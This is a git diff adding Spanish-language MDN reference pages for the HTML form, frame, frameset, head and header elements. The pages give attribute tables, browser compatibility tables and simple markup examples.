+  </dd>
+</dl>
+<h2 id="Interfaz_DOM">Interfaz DOM</h2>
+<p>Este elemento implementa la interfaz <code><a href="/es/DOM/HTMLFormElement" title="en/DOM/form">HTMLFormElement</a></code>.</p>
+<h2 id="Ejemplos">Ejemplos</h2>
+<pre class="brush: html">&lt;!-- Formulario simple que enviará una petición GET --&gt;
+&lt;form action=""&gt;
+  &lt;label for="GET-name"&gt;Nombre:&lt;/label&gt;
+  &lt;input id="GET-name" type="text" name="name"&gt;
+  &lt;input type="submit" value="Save"&gt;
+&lt;/form&gt;
+
+&lt;!-- Formulario simple que enviará una petición POST --&gt;
+&lt;form action="" method="post"&gt;
+  &lt;label for="POST-name"&gt;Nombre:&lt;/label&gt;
+  &lt;input id="POST-name" type="text" name="name"&gt;
+  &lt;input type="submit" value="Save"&gt;
+&lt;/form&gt;
+
+&lt;!-- Formulario con conjunto de campos, leyenda y etiqueta --&gt;
+&lt;form action="" method="post"&gt;
+  &lt;fieldset&gt;
+    &lt;legend&gt;Título&lt;/legend&gt;
+    &lt;input type="radio" name="radio" id="radio"&gt; &lt;label for="radio"&gt;Clic aquí&lt;/label&gt;
+  &lt;/fieldset&gt;
+&lt;/form&gt;
+</pre>
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+<p>{{ CompatibilityTable() }}</p>
+<div id="compat-desktop">
+  <table class="compat-table">
+    <tbody>
+      <tr>
+        <th>Característica</th>
+        <th>Chrome</th>
+        <th>Firefox (Gecko)</th>
+        <th>Internet Explorer</th>
+        <th>Opera</th>
+        <th>Safari</th>
+      </tr>
+      <tr>
+        <td>Soporte básico</td>
+        <td>1.0</td>
+        <td>{{ CompatGeckoDesktop("1.0") }}</td>
+        <td>{{ CompatVersionUnknown() }}</td>
+        <td>{{ CompatVersionUnknown() }}</td>
+        <td>{{ CompatVersionUnknown() }}</td>
+      </tr>
+      <tr>
+        <td>atributo <code>novalidate</code></td>
+        <td>1.0</td>
+        <td>{{ CompatGeckoDesktop("2.0") }}</td>
+        <td>{{ CompatNo() }}</td>
+        <td>{{ CompatUnknown() }}</td>
+        <td>{{ CompatUnknown() }}</td>
+      </tr>
+    </tbody>
+  </table>
+</div>
+<div id="compat-mobile">
+  <table class="compat-table">
+    <tbody>
+      <tr>
+        <th>Característica</th>
+        <th>Android</th>
+        <th>Firefox Mobile (Gecko)</th>
+        <th>IE Mobile</th>
+        <th>Opera Mobile</th>
+        <th>Safari Mobile</th>
+      </tr>
+      <tr>
+        <td>Soporte básico</td>
+        <td>{{ CompatVersionUnknown() }}</td>
+        <td>{{ CompatGeckoMobile("1.0") }}</td>
+        <td>{{ CompatVersionUnknown() }}</td>
+        <td>{{ CompatVersionUnknown() }}</td>
+        <td>{{ CompatVersionUnknown() }}</td>
+      </tr>
+      <tr>
+        <td>atributo <code>novalidate</code></td>
+        <td>{{ CompatUnknown() }}</td>
+        <td>{{ CompatGeckoMobile("2.0") }}</td>
+        <td>{{ CompatUnknown() }}</td>
+        <td>{{ CompatUnknown() }}</td>
+        <td>{{ CompatUnknown() }}</td>
+      </tr>
+    </tbody>
+  </table>
+</div>
+<p>Notas para Google Chrome</p>
+<p>La interfaz de usuario para peticiones auto-complete en Google Chrome varía dependiendo de si <code>autocomplete</code> está establecido en <code>off</code> en elementos <code>input</code> así como su formulario. Específicamente, cuando un formulario tiene <code>autocomplete</code> establecido en <code>off</code> y sus campos <code>autocomplete</code> de sus elementos input <strong>no</strong> están establecidos, entonces si el usuario pregunta por sugerencias de autocompletado para el elemento input, Chrome podrá mostrar un mensaje diciendo "El autocompletado ha sido desactivado para este formulario." Por otro lado, si el formulario y el elemento input tienen <code>autocomplete</code> establecido como <code>off</code>, el navegador no mostrará este mensaje. Por esta razón, debe establecer <code>autocomplete</code> en <code>off</code> para cada input que tiene autocompletado personalizado.</p>
+<h2 id="Consulte_también">Consulte también</h2>
+<p>Otros elementos que son usados para crear formularios: {{ HTMLElement("button") }}, {{ HTMLElement("datalist") }}, {{ HTMLElement("fieldset") }}, {{ HTMLElement("input") }},{{ HTMLElement("keygen") }}, {{ HTMLElement("label") }}, {{ HTMLElement("legend") }}, {{ HTMLElement("meter") }}, {{ HTMLElement("optgroup") }}, {{ HTMLElement("option") }}, {{ HTMLElement("output") }}, {{ HTMLElement("progress") }}, {{ HTMLElement("select") }}, {{ HTMLElement("textarea") }}.</p>
+<p>{{ languages( { "fr": "fr/HTML/Element/Form" } ) }}</p>
diff --git a/files/es/web/html/elemento/frame/index.html b/files/es/web/html/elemento/frame/index.html
new file mode 100644
index 0000000000..21df468c42
--- /dev/null
+++ b/files/es/web/html/elemento/frame/index.html
@@ -0,0 +1,167 @@
+---
+title: frame
+slug: Web/HTML/Elemento/frame
+tags:
+  - HTML
+  - 'HTML:Elemento'
+  - Todas_las_Categorías
+translation_of: Web/HTML/Element/frame
+---
+<h3 id="Definici.C3.B3n" name="Definici.C3.B3n">Definición</h3>
+
+<p><strong>frame</strong> -<em>marcos</em> . Define la organización de los marcos dentro de la ventana del usuario.</p>
+
+<dl>
+ <dd><strong>Sus etiquetas son</strong>: <code>&lt;frame&gt;</code> (solo tiene una).</dd>
+ <dd><strong>Está definido como</strong>: Elemento <a href="es/HTML/Elemento/Tipos_de_elementos#paramarcos">para marcos</a>.</dd>
+</dl>
+
+<dl>
+ <dd><strong>Crea una caja</strong>: .</dd>
+ <dd><strong>Puede contener</strong>: Nada.</dd>
+</dl>
+
+<h4 id="Atributos" name="Atributos">Atributos</h4>
+
+<table class="fullwidth-table standard-table">
+ <tbody>
+  <tr>
+   <th>atributo</th>
+   <th>descripción</th>
+   <th>valor</th>
+  </tr>
+  <tr>
+   <th colspan="3">Genéricos</th>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/global.html#adef-title"><span style="color: green;">title </span></a></td>
+   <td>Texto informativo o título del elemento. Suele mostrarse a modo de "tool tip".</td>
+   <td>Texto legible por personas. Sensible a <abbr title="diferencia entre Mayúsculas y minúsculas">M/m.</abbr>. Por defecto: Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/global.html#adef-id"><span style="color: green;">id </span></a></td>
+   <td>Le da un nombre al elemento que lo diferencia de todos los demás del documento.</td>
+   <td>Un <a class="external" href="http://html.conclase.net/w3c/html401-es/types.html#type-id">nombre único</a>. Sensible a <abbr title="diferencia entre Máyusculas y minúsculas">M/m.</abbr> Por defecto: Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/global.html#adef-class"><span style="color: green;">class </span></a></td>
+   <td>Asigna nombres de clases al elemento. Por defecto, clases CSS.</td>
+   <td>Lista de clases separadas por espacio en blanco. Sensible a <abbr title="diferencia entre Máyusculas y minúsculas">M/m.</abbr> Por defecto: Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/present/styles.html#adef-style"><span style="color: green;">style </span></a></td>
+   <td>Permite especificar <a class="external" href="http://html.conclase.net/w3c/html401-es/present/styles.html">información de estilo</a>. Por defecto, estilos CSS.</td>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/types.html#type-style">Declaraciones de estilo</a>. Por defecto: Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <th colspan="3">Específicos</th>
+  </tr>
+  <tr>
+   <td colspan="3">No tiene</td>
+  </tr>
+  <tr>
+   <th colspan="3">De transición</th>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/present/frames.html#adef-longdesc-FRAME"><span style="color: green;">longdesc </span></a></td>
+   <td>Permite especificar un enlace a una descripción detallada del marco. Inportante para la <a href="es/Accesibilidad">accesibilidad</a>.</td>
+   <td>Una dirección <a class="external" href="http://html.conclase.net/w3c/html401-es/types.html#h-6.4">URI</a>. Por defecto: lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/present/frames.html#adef-name-FRAME"><span style="color: green;">name </span></a></td>
+   <td>Especifica un nombre para el marco, Esto permite usarlo <a class="external" href="http://html.conclase.net/w3c/html401-es/present/frames.html#h-16.3">como destino</a> de los enlaces.</td>
+   <td>. Por defecto: . lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/present/frames.html#adef-src-FRAME"><span style="color: green;">src </span></a></td>
+   <td>Especifica la localización de los contenidos iniciales del marco.</td>
+   <td>Una dirección <a class="external" href="http://html.conclase.net/w3c/html401-es/types.html#h-6.4">URI</a>. Por defecto: lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/present/frames.html#adef-frameborder"><span style="color: green;">frameborder </span></a></td>
+   <td>Indica si el marco tendrá o no borde.</td>
+   <td>Uno de los siguientes: '1' o '0'. Por defecto: '1'.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/present/frames.html#adef-marginwidth"><span style="color: green;">marginwidth </span></a></td>
+   <td>Indica el margen izquierdo y derecho entre contenido y borde.</td>
+   <td>Una cantidad de píxeles (cero o más). Por defecto: lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/present/frames.html#adef-marginheight"><span style="color: green;">marginheight </span></a></td>
+   <td>Indica el margen superior e inferior entre contenido y borde.</td>
+   <td>Una cantidad de píxeles (cero o más). Por defecto: lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/present/frames.html#adef-noresize"><span style="color: green;">noresize </span></a></td>
+   <td>Hace que la ventana del marco no sea redimensionable.</td>
+   <td>'noresize'. Por defecto: lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/present/frames.html#adef-scrolling"><span style="color: green;">scrolling </span></a></td>
+   <td>Indica si el marco debe tener o no barra de desplazamiento (scroll).</td>
+   <td>Uno de los sigientes: 'yes', 'no', o 'auto'. Por defecto: 'auto'.</td>
+  </tr>
+  <tr>
+   <th>atributo</th>
+   <th>descripción</th>
+   <th>valor</th>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Ejemplos_de_uso" name="Ejemplos_de_uso">Ejemplos de uso</h3>
+
+<div class="highlight">
+<h4 id="Un_documento_con_marcos" name="Un_documento_con_marcos">Un documento con marcos</h4>
+
+<p>código:</p>
+
+<pre class="eval">&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN"
+  "<a class="external" href="http://www.w3.org/TR/html4/frameset.dtd" rel="freelink">http://www.w3.org/TR/html4/frameset.dtd</a>"&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;title&gt;Un documento simple con marcos&lt;/title&gt;
+&lt;/head&gt;
+&lt;frameset rows="20%,80%"&gt;
+ &lt;frameset cols="20%, 80%"&gt;
+   &lt;<strong>frame</strong> src="<a class="external" href="http://developer.mozilla.org/wiki-images/es/3/39/Firefoxlogo.png" rel="freelink">http://developer.mozilla.org/wiki-im...irefoxlogo.png</a>"&gt;
+   &lt;<strong>frame</strong> src="<a class="external" href="http://html.conclase.net/w3c/html401-es/sgml/loosedtd.html#frame" rel="freelink">http://html.conclase.net/w3c/html401...dtd.html#frame</a>"&gt;
+ &lt;/frameset&gt;
+ &lt;<strong>frame</strong> src="<a class="external" href="http://html.conclase.net/w3c/html401-es/present/frames.html#edef-FRAME" rel="freelink">http://html.conclase.net/w3c/html401...tml#edef-FRAME</a>"&gt;
+&lt;/frameset&gt;
+&lt;/html&gt;
+</pre>
+</div>
+
+<h3 id="Estilo_predeterminado" name="Estilo_predeterminado">Estilo predeterminado</h3>
+
+<h3 id="Notas" name="Notas">Notas</h3>
+
+<h3 id="Referencia" name="Referencia">Referencia</h3>
+
+<ul>
+ <li>El elemento <a class="external" href="http://html.conclase.net/w3c/html401-es/present/frames.html#edef-FRAME"><strong>frame</strong> en la especificación</a> de html 4.01</li>
+</ul>
+
+<p> </p>
+
+<h3 id="Soporte" name="Soporte">Soporte</h3>
+
+<p>Puede consultar esta <a class="external" href="http://www.webdevout.net/browser_support_html.php#support-html401-frame">comparativa</a>: IE 6 - IE 7 - FF 1.5 - OP 9.</p>
+
+<p> </p>
+
+<hr>
+<div class="note">
+<p>Estamos ampliando este documento, posiblemente contenga defectos y carencias. ¡Estamos en obras!... disculpen las molestias.</p>
+
+<p>¿Quieres participar en su elaboración? Para saber cómo hacerlo consulta <a>MDC:Como ayudar</a>.</p>
+</div>
+
+<p><br>
+ <span class="comment">Categoría</span></p>
+
+<p><span class="comment">interwiki links</span></p>
+
+<p><span class="comment">automatismos</span></p>
diff --git a/files/es/web/html/elemento/frameset/index.html b/files/es/web/html/elemento/frameset/index.html
new file mode 100644
index 0000000000..cf90335bc6
--- /dev/null
+++ b/files/es/web/html/elemento/frameset/index.html
@@ -0,0 +1,157 @@
+---
+title: frameset
+slug: Web/HTML/Elemento/frameset
+tags:
+  - HTML
+  - 'HTML:Elemento'
+  - Todas_las_Categorías
+translation_of: Web/HTML/Element/frameset
+---
+<h3 id="Definici.C3.B3n" name="Definici.C3.B3n">Definición</h3>
+
+<p><strong>frameset</strong> -<em>conjunto de marcos</em> . Define la organización de los marcos dentro de la ventana del usuario.</p>
+
+<dl>
+ <dd><strong>Sus etiquetas son</strong>: <code>&lt;frameset&gt;</code> y <code>&lt;/frameset&gt;</code> (ambas obligatorias).</dd>
+ <dd><strong>Está definido como</strong>: Elemento <a href="es/HTML/Elemento/Tipos_de_elementos#paramarcos">para marcos</a>.
+ <dl>
+  <dd>Con un doctype para marcos está definido como contenido de html.</dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd><strong>Crea una caja</strong>: .</dd>
+ <dd><strong>Puede y debe contener</strong>: Uno o más elementos <a href="es/HTML/Elemento/frameset">frameset</a> y <a href="es/HTML/Elemento/frame">frame</a>. además puede contener un elemento <a href="es/HTML/Elemento/noframes">noframes</a>.</dd>
+ <dd><strong>Debe ser contenido por</strong>: Elementos <a href="es/HTML/Elemento/html">html</a></dd>
+</dl>
+
+<h4 id="Atributos" name="Atributos">Atributos</h4>
+
+<table class="fullwidth-table standard-table">
+ <tbody>
+  <tr>
+   <th>atributo</th>
+   <th>descripción</th>
+   <th>valor</th>
+  </tr>
+  <tr>
+   <th colspan="3">Genéricos</th>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/global.html#adef-title"><span style="color: green;">title </span></a></td>
+   <td>Texto informativo o título del elemento. Suele mostrarse a modo de "tool tip".</td>
+   <td>Texto legible por personas. Sensible a <abbr title="diferencia entre Mayúsculas y minúsculas">M/m.</abbr>. Por defecto: Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/global.html#adef-id"><span style="color: green;">id </span></a></td>
+   <td>Le da un nombre al elemento que lo diferencia de todos los demás del documento.</td>
+   <td>Un <a class="external" href="http://html.conclase.net/w3c/html401-es/types.html#type-id">nombre único</a>. Sensible a <abbr title="diferencia entre Máyusculas y minúsculas">M/m.</abbr> Por defecto: Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/global.html#adef-class"><span style="color: green;">class </span></a></td>
+   <td>Asigna nombres de clases al elemento. Por defecto, clases CSS.</td>
+   <td>Lista de clases separadas por espacio en blanco. Sensible a <abbr title="diferencia entre Máyusculas y minúsculas">M/m.</abbr> Por defecto: Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/present/styles.html#adef-style"><span style="color: green;">style </span></a></td>
+   <td>Permite especificar <a class="external" href="http://html.conclase.net/w3c/html401-es/present/styles.html">información de estilo</a>. Por defecto, estilos CSS.</td>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/types.html#type-style">Declaraciones de estilo</a>. Por defecto: Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <th colspan="3">Específicos</th>
+  </tr>
+  <tr>
+   <td colspan="3">No tiene</td>
+  </tr>
+  <tr>
+   <th colspan="3">De transición</th>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/present/frames.html#adef-rows-FRAMESET"><span style="color: green;">rows </span></a></td>
+   <td>Asigna la disposición horizontal de los marcos.</td>
+   <td>Lista de <a class="external" href="http://html.conclase.net/w3c/html401-es/types.html#h-6.6">longitudes</a> separadas por coma, pueden espresarse en píxeles, porcentajes o de forma relativa. Por defecto: 100% (una fila), lo fija el navegador..</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/present/frames.html#adef-cols-FRAMESET"><span style="color: green;">cols </span></a></td>
+   <td>Asigna la disposición horizontal de los marcos.</td>
+   <td>Lista de <a class="external" href="http://html.conclase.net/w3c/html401-es/types.html#h-6.6">longitudes</a> separadas por coma, pueden espresarse en píxeles, porcentajes o de forma relativa. Por defecto: 100% (una columna). lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <th>atributo</th>
+   <th>descripción</th>
+   <th>valor</th>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Ejemplos_de_uso" name="Ejemplos_de_uso">Ejemplos de uso</h3>
+
+<div class="highlight">
+<h4 id="Un_documento_con_marcos" name="Un_documento_con_marcos">Un documento con marcos</h4>
+
+<p>código:</p>
+
+<pre class="eval">&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN"
+  "<a class="external" href="http://www.w3.org/TR/html4/frameset.dtd" rel="freelink">http://www.w3.org/TR/html4/frameset.dtd</a>"&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;title&gt;Un documento simple con marcos&lt;/title&gt;
+&lt;/head&gt;
+&lt;<strong>frameset</strong> rows="20%,80%"&gt;
+ &lt;<strong>frameset</strong> cols="20%, 80%"&gt;
+   &lt;frame src="<a class="external" href="http://developer.mozilla.org/wiki-images/es/3/39/Firefoxlogo.png" rel="freelink">http://developer.mozilla.org/wiki-im...irefoxlogo.png</a>"&gt;
+   &lt;frame src="<a class="external" href="http://html.conclase.net/w3c/html401-es/sgml/loosedtd.html#frameset" rel="freelink">http://html.conclase.net/w3c/html401....html#frameset</a>"&gt;
+ &lt;/<strong>frameset</strong>&gt;
+ &lt;frame src="<a class="external" href="http://html.conclase.net/w3c/html401-es/present/frames.html#edef-FRAMESET" rel="freelink">http://html.conclase.net/w3c/html401...#edef-FRAMESET</a>"&gt;
+ &lt;noframes&gt;
+   &lt;p&gt; este documento contiene los siguientes recursos: &lt;/p&gt;
+   &lt;ul&gt;
+     &lt;li&gt; &lt;img src="<a class="external" href="http://developer.mozilla.org/wiki-images/es/3/39/Firefoxlogo.png" rel="freelink">http://developer.mozilla.org/wiki-im...irefoxlogo.png</a>" alt="el logo de Firefox"&gt;
+     &lt;/li&gt;
+     &lt;li&gt; La definición de frameset en el
+          &lt;a href="<a class="external" href="http://html.conclase.net/w3c/html401-es/sgml/loosedtd.html#frameset" rel="freelink">http://html.conclase.net/w3c/html401....html#frameset</a>"&gt;
+          dtd de html 4.01 trans.&lt;/a&gt;
+     &lt;/li&gt;
+     &lt;li&gt; La definición de frameset en la
+          &lt;a href="<a class="external" href="http://html.conclase.net/w3c/html401-es/present/frames.html#edef-FRAMESET" rel="freelink">http://html.conclase.net/w3c/html401...#edef-FRAMESET</a>"&gt;
+          especificación de html 4.01&lt;/a&gt;
+     &lt;/li&gt;
+   &lt;/ul&gt;
+ &lt;/noframes&gt;
+&lt;/<strong>frameset</strong>&gt;
+&lt;/html&gt;
+</pre>
+</div>
+
+<h3 id="Estilo_predeterminado" name="Estilo_predeterminado">Estilo predeterminado</h3>
+
+<h3 id="Notas" name="Notas">Notas</h3>
+
+<h3 id="Referencia" name="Referencia">Referencia</h3>
+
+<ul>
+ <li>El elemento <a class="external" href="http://html.conclase.net/w3c/html401-es/present/frames.html#edef-FRAMESET"><strong>frameset</strong> en la especificación</a> de html 4.01</li>
+</ul>
+
+<p> </p>
+
+<h3 id="Soporte" name="Soporte">Soporte</h3>
+
+<p>Puede consultar esta <a class="external" href="http://www.webdevout.net/browser_support_html.php#support-html401-frameset">comparativa</a>: IE 6 - IE 7 - FF 1.5 - OP 9.</p>
+
+<p> </p>
+
+<hr>
+<div class="note">
+<p>Estamos ampliando este documento, posiblemente contenga defectos y carencias. ¡Estamos en obras!... disculpen las molestias.</p>
+
+<p>¿Quieres participar en su elaboración? Para saber cómo hacerlo consulta <a>MDC:Como ayudar</a>.</p>
+</div>
+
+<p><br>
+ <span class="comment">Categoría</span></p>
+
+<p><span class="comment">interwiki links</span></p>
+
+<p><span class="comment">automatismos</span></p>
diff --git a/files/es/web/html/elemento/head/index.html b/files/es/web/html/elemento/head/index.html
new file mode 100644
index 0000000000..e0e6e13fe1
--- /dev/null
+++ b/files/es/web/html/elemento/head/index.html
@@ -0,0 +1,147 @@
+---
+title: head
+slug: Web/HTML/Elemento/head
+tags:
+  - HTML
+  - 'HTML:Elemento'
+  - Metadatos de documento HTML
+  - Todas_las_Categorías
+translation_of: Web/HTML/Element/head
+---
+<div>{{HTMLRef}}</div>
+
+<p>El <strong>elemento HTML <code>&lt;head&gt;</code></strong> provee información general (metadatos) acerca del documento, incluyendo su título y enlaces a scripts y hojas de estilos.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th><a href="/es/docs/Web/Guide/HTML/categorias_de_contenido">Categorías de contenido</a></th>
+   <td>Ninguna.</td>
+  </tr>
+  <tr>
+   <th>Contenido permitido</th>
+   <td>Si el elemento es un {{htmlattrxref("srcdoc", "iframe")}} de un {{HTMLElement("iframe")}} , o si la información de título está disponible desde un protocolo de nivel superior, cero o más elementos de metadatos.<br>
+    De otro modo, uno o más elementos de metadatos donde exactamente uno es {{HTMLElement("title")}}.</td>
+  </tr>
+  <tr>
+   <th>Omisión de etiqueta</th>
+   <td>La etiqueta de inicio puede ser omitida si lo primero dentro del elemento head es un elemento.<br>
+    La etiqueta de cierre puede ser omitida si lo primero después del elemento head no es un espacio o un comentario.</td>
+  </tr>
+  <tr>
+   <th>Elementos padre permitidos</th>
+   <td>Un elemento {{HTMLElement("html")}}, pues éste es su primer hijo.</td>
+  </tr>
+  <tr>
+   <th>Interfaz DOM</th>
+   <td>{{domxref("HTMLHeadElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Atributos">Atributos</h2>
+
+<p>Este elemento incluye los <a href="/es/docs/Web/HTML/Global_attributes">atributos globales</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("profile")}} {{obsolete_inline}}</dt>
+ <dd>Los URIs de uno o más perfiles de metadatos, separados por un espacio en blanco.</dd>
+</dl>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre class="brush: html">&lt;html&gt;
+  &lt;head&gt;
+    &lt;title&gt;Document title&lt;/title&gt;
+  &lt;/head&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Notas">Notas</h2>
+
+<p>Navegadores modernos que cumplen con el estándar HTML5 construyen automáticamente un elemento <code>&lt;head&gt;</code> si las etiquetas son omitidas en el código. <a class="external" href="http://www.stevesouders.com/blog/2010/05/12/autohead-my-first-browserscope-user-test/">Este comportamiento no puede ser garantizado en navegadores antiguos</a>.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-head-element', '&lt;head&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Sin cambios desde la última versión</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'document-metadata.html#the-head-element', '&lt;head&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Atributo <code>profile</code> obsoleto</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/global.html#h-7.4.1', '&lt;head&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li>Elementos que pueden ser usados dentro de un elemento <code>&lt;head&gt;:</code> {{HTMLElement("title")}}, {{HTMLElement("base")}}, {{HTMLElement("link")}}, {{HTMLElement("style")}}, {{HTMLElement("meta")}}, {{HTMLElement("script")}}, {{HTMLElement("noscript")}}</li>
+</ul>
diff --git a/files/es/web/html/elemento/header/index.html b/files/es/web/html/elemento/header/index.html
new file mode 100644
index 0000000000..f4bdcd9a75
--- /dev/null
+++ b/files/es/web/html/elemento/header/index.html
@@ -0,0 +1,74 @@
+---
+title: header
+slug: Web/HTML/Elemento/header
+tags:
+  - HTML5
+  - header
+  - para_revisar
+translation_of: Web/HTML/Element/header
+---
+<p>El <em>elemento de HTML Header</em> (<span style="font-family: Courier New;">&lt;header&gt;</span>) representa un grupo de ayudas introductorias o de navegación. Puede contener algunos elementos de encabezado, así como también un logo, un formulario de búsqueda, un nombre de autor y otros componentes.</p>
+
+<div class="note">
+<p><strong>Nota de uso:</strong></p>
+
+<ul>
+ <li>El elemento <span style="font-family: Courier New;">&lt;header&gt;</span> no es contenido de sección y, por lo tanto, no introduce una nueva sección en <a href="/en/Sections_and_Outlines_of_an_HTML5_document" title="en/Sections and Outlines of an HTML5 document">descripción</a>.</li>
+</ul>
+</div>
+
+<h3 id="Contexto_de_uso">Contexto de uso</h3>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td>Contenido permitido</td>
+   <td><a href="/en/HTML/Content_categories#flow_content" title="en/HTML/Content categories#flow content">Contenido dinámico</a>, pero sin un <span style="font-family: Courier New;">&lt;header&gt;</span> o {{ HTMLElement("footer") }} descendente</td>
+  </tr>
+  <tr>
+   <td>Omisión de la etiqueta</td>
+   <td>No está permitido, tanto la <span title="syntax-start-tag">etiqueta de inicio</span> como la de <span title="syntax-end-tag">final</span> son obligatorias</td>
+  </tr>
+  <tr>
+   <td>
+    <p>Elementos padres permitidos</p>
+
+    <p>Roles ARIA permitidos</p>
+
+    <p>Inreface DOM</p>
+   </td>
+   <td>
+    <p>Cualquier elemento que acepte <a href="/en/HTML/Content_categories#flow_content" title="en/HTML/Content categories#flow content">contenido dinámico</a>. Ten en cuenta que un elemento <code>&lt;header&gt;</code> no debe ser descendiente de un elemento {{ HTMLElement("address") }}, {{ HTMLElement("footer") }} o cualquier otro elemento {{ HTMLElement("header") }}.</p>
+
+    <p>{{ARIARole("group")}}, {{ARIARole("presentation")}}</p>
+
+    <p>{{domxref("HTMLElement")}}</p>
+   </td>
+  </tr>
+  <tr>
+   <td>Documento normativo</td>
+   <td><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/sections.html#the-header-element" rel="external nofollow" title="http://www.whatwg.org/specs/web-apps/current-work/multipage/sections.html#the-header-element">HTML5, sección 4.4.8</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Atributos">Atributos</h3>
+
+<p>Este elemento no tiene otros atributos que no sean los <a class="new " href="../../../../en/HTML/global_attributes" rel="internal">atributos generales</a>, comunes a todos los elementos.</p>
+
+<div id="section_3">
+<div id="section_3">
+<h3 class="editable" id="Interfaz_DOM">Interfaz DOM</h3>
+
+<p>Este elemento implementa la interfaz <code><a href="/en/DOM/element" title="en/DOM/element">HTMLElement</a></code>.</p>
+
+<h3 id="Mira_también">Mira también</h3>
+
+<ul>
+ <li>Otros elementos relacionados con secciones: {{ HTMLElement("body") }}, {{ HTMLElement("nav") }}, {{ HTMLElement("article") }}, {{ HTMLElement("aside") }}, {{ HTMLElement("h1") }}, {{ HTMLElement("h2") }}, {{ HTMLElement("h3") }}, {{ HTMLElement("h4") }}, {{ HTMLElement("h5") }}, {{ HTMLElement("h6") }}, {{ HTMLElement("hgroup") }}, {{ HTMLElement("footer") }}, {{ HTMLElement("section") }}, {{ HTMLElement("address") }};</li>
